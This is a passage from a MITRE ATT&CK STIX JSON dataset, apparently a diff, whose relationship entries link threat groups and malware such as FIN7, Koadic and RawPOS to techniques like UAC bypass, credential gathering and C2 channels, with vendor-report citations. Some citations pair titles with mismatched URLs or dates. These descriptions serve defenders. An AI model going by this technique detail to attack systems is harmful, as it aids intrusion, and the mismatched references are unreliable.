"relationship--d6c628b9-789a-416b-8abe-cd457e566346", + "external_references": [ + { + "source_name": "Proofpoint Operation Transparent Tribe March 2016", + "description": "Huss, D.. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.", + "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2", + "relationship_type": "uses", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Psylo](https://attack.mitre.org/software/S0078) has commands to enumerate all storage devices and to find all files that start with a particular string.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--922c214d-ad32-4490-bb3f-a4db73b718d5", + "external_references": [ + { + "source_name": "Scarlet Mimic Jan 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--dfb5fa9b-3051-4b97-8035-08f80aef945b", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[nbtstat](https://attack.mitre.org/software/S0102) can be used to discover local NetBIOS domain names.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--92d3b6b0-7c61-452a-a9b9-c2549357bfef", + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--b35068ec-107a-4266-bda8-eb7036267aea", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-05-03T16:42:19.254Z", + "type": "relationship", + "created": "2018-01-16T18:59:16.545Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--dc4e54ed-ca71-4dd1-a61e-714222c0c76d", + "external_references": [ + { + "source_name": "ClearSky Wilted Tulip July 2017", + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" + } + ], + "source_ref": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a", + "relationship_type": "uses", + "target_ref": "malware--0b32ec39-ba61-4864-9ebe-b4b0b73caf9a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[iKitten](https://attack.mitre.org/software/S0278) will zip up the /Library/Keychains directory before exfiltrating it.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--90bd9900-a78f-47da-9504-393e8ece3fac", + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--2cfe8a26-5be7-4a09-8915-ea3d9e787513", + "relationship_type": "uses", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T12:57:18.674Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.080Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4f33536d-eb06-4eba-8765-4379e399f3b8", + "external_references": [ + { + "source_name": "Palo Alto Gamaredon Feb 2017", + "description": "Kasza, A. and Reichel, D.. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + } + ], + "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", + "relationship_type": "uses", + "target_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) gathers domain and account names/information through process monitoring.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ac6ce385-79d5-40bd-ab16-bd873fb1a821", + "external_references": [ + { + "source_name": "McAfee Bankshot", + "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "relationship_type": "uses", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware can list running processes.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a4c59c09-2abd-4c49-8156-0ccc9214b66e", + "external_references": [ + { + "source_name": "Unit 42 Magic Hound Feb 2017", + "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/" + } + ], + "modified": "2019-03-25T14:25:29.630Z", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-06-30T23:13:18.592Z", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--49d09bc3-cdc0-479b-8516-f64bff9b6757", + "external_references": [ + { + "source_name": "FireEye FIN7 April 2017", + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + }, + { + "source_name": "FireEye FIN7 Aug 2018", + "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" + } + ], + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "relationship_type": "uses", + "target_ref": "malware--0ced8926-914e-4c78-bc93-356fb90dbd1f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) moved laterally via RDP.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4c1e067a-0644-4142-8111-c1acdc8c1625", + "external_references": [ + { + "source_name": "US-CERT TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ], + "modified": "2019-03-22T20:13:49.615Z", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "relationship_type": "uses", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Janicab](https://attack.mitre.org/software/S0163) captured audio and sent it out to a C2 server.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8b5d4742-35a6-4ab7-993c-e20831ab0020", + "external_references": [ + { + "source_name": "f-secure janicab", + "description": "Brod. (2013, July 15). Signed Mac Malware Using Right-to-Left Override Trick. Retrieved July 17, 2017.", + "url": "https://www.f-secure.com/weblog/archives/00002576.html" + }, + { + "source_name": "Janicab", + "description": "Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.", + "url": "http://www.thesafemac.com/new-signed-malware-called-janicab/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--234e7770-99b0-4f65-b983-d3230f76a60b", + "relationship_type": "uses", + "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Koadic](https://attack.mitre.org/software/S0250) has 2 methods for elevating integrity. It can bypass UAC through eventvwr.exe and sdclt.exe.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6b794c49-0734-446c-9192-5b1e1cf06be0", + "external_references": [ + { + "source_name": "Github Koadic", + "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.", + "url": "https://github.com/zerosum0x0/koadic" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", + "relationship_type": "uses", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T14:25:53.636Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.050Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ba1a4084-a74f-44d6-bafe-7a09ee959270", + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "relationship_type": "uses", + "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T14:26:14.586Z", + "type": "relationship", + "id": "relationship--bd5699e8-8765-4f24-8307-c81a296b87e0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.019Z", + "source_ref": "course-of-action--2a8de25c-f743-4348-b101-3ee33ab5871b", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has been known to add created accounts to local admin groups to maintain elevated access.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--62f16083-efca-477c-8107-e208ca4c75cb", + "external_references": [ + { + "source_name": "aptsim", + "description": "valsmith. (2012, September 21). More on APTSim. Retrieved September 28, 2017.", + "url": "http://carnal0wnage.attackresearch.com/2012/09/more-on-aptsim.html" + } + ], + "modified": "2019-04-29T18:01:20.628Z", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) malware RoyalCli and BS2005 have communicated over HTTP with the C2 server through Internet Explorer (IE) by using the COM interface IWebBrowser2. Additionally, [Ke3chang](https://attack.mitre.org/groups/G0004) malware RoyalDNS has used DNS for C2.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cc79d8c5-f7c9-4c8b-810d-e57d70a07d4f", + "external_references": [ + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "modified": "2019-04-22T15:08:48.493Z", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) has used ports 53, 80, 443, and 8080 for C2.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b8530dbc-8ede-4b30-b0c1-f32bf2a081eb", + "external_references": [ + { + "source_name": "FireEye FIN7 Aug 2018", + "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" + } + ], + "modified": "2019-06-30T23:13:18.464Z", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) sent shortened URL links over email to victims. The URLs linked to Word documents with malicious macros that execute PowerShells scripts to download Pupy.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--808f140e-8b7b-4efa-8708-2f2308b2fc41", + "external_references": [ + { + "source_name": "SecureWorks Mia Ash July 2017", + "description": "Counter Threat Unit Research Team. (2017, July 27). The Curious Case of Mia Ash: Fake Persona Lures Middle Eastern Targets. Retrieved February 26, 2018.", + "url": "https://www.secureworks.com/research/the-curious-case-of-mia-ash" + } + ], + "modified": "2019-03-25T14:25:29.629Z", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "relationship_type": "uses", + "target_ref": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MirageFox](https://attack.mitre.org/software/S0280) is likely loaded via DLL hijacking into a legitimate McAfee binary.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--883762ff-5cb3-49af-87a2-6a128a1ce939", + "external_references": [ + { + "source_name": "APT15 Intezer June 2018", + "description": "Rosenberg, J. (2018, June 14). MirageFox: APT15 Resurfaces With New Tools Based On Old Ones. Retrieved September 21, 2018.", + "url": "https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e3cedcfe-6515-4348-af65-7f2c4157bf0d", + "relationship_type": "uses", + "target_ref": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:36:40.768Z", + "type": "relationship", + "id": "relationship--98c18956-03d7-49e5-93b2-44351682331d", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-12-14T16:46:06.044Z", + "source_ref": "course-of-action--8c918d8a-11c5-4ffd-af10-e74bc06bdfae", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has used powershell.exe to download and execute scripts.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--70d1a246-4ff2-452d-babf-ed47bccbf1c4", + "external_references": [ + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + }, + { + "source_name": "PTSecurity Cobalt Group Aug 2017", + "description": "Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.", + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf" + }, + { + "source_name": "PTSecurity Cobalt Dec 2016", + "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.", + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf" + }, + { + "source_name": "Group IB Cobalt Aug 2017", + "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", + "url": "https://www.group-ib.com/blog/cobalt" + }, + { + "source_name": "RiskIQ Cobalt Jan 2018", + "description": "Klijnsma, Y.. (2018, January 16). First Activities of Cobalt Group in 2018: Spear Phishing Russian Banks. Retrieved October 10, 2018.", + "url": "https://www.riskiq.com/blog/labs/cobalt-group-spear-phishing-russian-banks/" + }, + { + "source_name": "TrendMicro Cobalt Group Nov 2017", + "description": "Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/" + } + ], + "modified": "2019-07-26T23:38:34.145Z", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T14:25:53.641Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.050Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1593ae11-0bb5-4e16-804a-1383eb0cced5", + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "relationship_type": "uses", + "target_ref": "malware--b136d088-a829-432c-ac26-5529c26d4c7e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) has exploited the CVE-2016-0167 local vulnerability.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--45626c7f-c401-427b-9589-c91a4b2a4f7f", + "external_references": [ + { + "source_name": "FireEye Fin8 May 2016", + "description": "Kizhakkinan, D. et al.. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html" + }, + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. 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Retrieved October 10, 2018.", + "url": "https://www.group-ib.com/blog/cobalt" + } + ], + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "relationship_type": "uses", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has attempted to lure users to execute a malicious dropper delivered via a spearphishing attachment.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ea7c1a9f-7d8e-4a06-8331-9901a33ee7d8", + "external_references": [ + { + "source_name": "ESET OceanLotus", + "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. 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Retrieved April 1, 2019.", + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/" + } + ], + "modified": "2019-07-17T13:11:38.461Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:21:52.923Z", + "type": "relationship", + "id": "relationship--cb35f782-6fb4-4a0c-b549-8af99dbc57fd", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.027Z", + "source_ref": "course-of-action--3a476d83-43eb-4fad-9b75-b1febd834e3d", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OopsIE](https://attack.mitre.org/software/S0264) can download files from its C2 server to the victim's machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--978dbb17-c5c5-4248-8385-9dc6f691030b", + "external_references": [ + { + "source_name": "Unit 42 OopsIE! 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Retrieved September 24, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/" + } + ], + "modified": "2019-04-24T23:40:23.531Z", + "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RedLeaves](https://attack.mitre.org/software/S0153) can gather browser usernames and passwords.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4086a9d6-5574-48fb-be8d-e8406145e740", + "external_references": [ + { + "source_name": "Accenture Hogfish April 2018", + "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. 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Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) malware ISMAgent falls back to its DNS tunneling mechanism if it is unable to reach the C2 server over HTTP.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--12daddcc-b964-485e-8c2d-10f554d78bcc", + "external_references": [ + { + "source_name": "OilRig ISMAgent July 2017", + "description": "Falcone, R. and Lee, B. (2017, July 27). OilRig Uses ISMDoor Variant; Possibly Linked to Greenbug Threat Group. Retrieved January 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/07/unit42-oilrig-uses-ismdoor-variant-possibly-linked-greenbug-threat-group/" + } + ], + "modified": "2019-07-17T16:17:30.298Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "If running as administrator, [TDTESS](https://attack.mitre.org/software/S0164) installs itself as a new service named bmwappushservice to establish persistence.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e2b4bcf2-58a6-49ed-bc72-21226ff419bd", + "external_references": [ + { + "source_name": "ClearSky Wilted Tulip July 2017", + "description": "ClearSky Cyber Security and Trend Micro. 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Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ], + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "tool--294e2560-bd48-44b2-9da2-833b5588ad11" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A [Threat Group-3390](https://attack.mitre.org/groups/G0027) tool can read and decrypt stored Registry values.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3559da63-5706-4e5a-b130-89858c2c0f44", + "external_references": [ + { + "source_name": "Nccgroup Emissary Panda May 2018", + "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/" + } + ], + "modified": "2019-07-14T21:15:55.365Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "relationship_type": "uses", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RawPOS](https://attack.mitre.org/software/S0169) encodes credit card data it collected from the victim with XOR.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--53ad6525-7888-4651-bd43-c010b489ccc0", + "external_references": [ + { + "source_name": "TrendMicro RawPOS April 2015", + "description": "TrendLabs Security Intelligence Blog. (2015, April). RawPOS Technical Brief. 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Retrieved October 6, 2017.", + "url": "https://usa.visa.com/dam/VCOM/download/merchants/alert-rawpos.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--9752aef4-a1f3-4328-929f-b64eb0536090", + "relationship_type": "uses", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638" + }, + { + 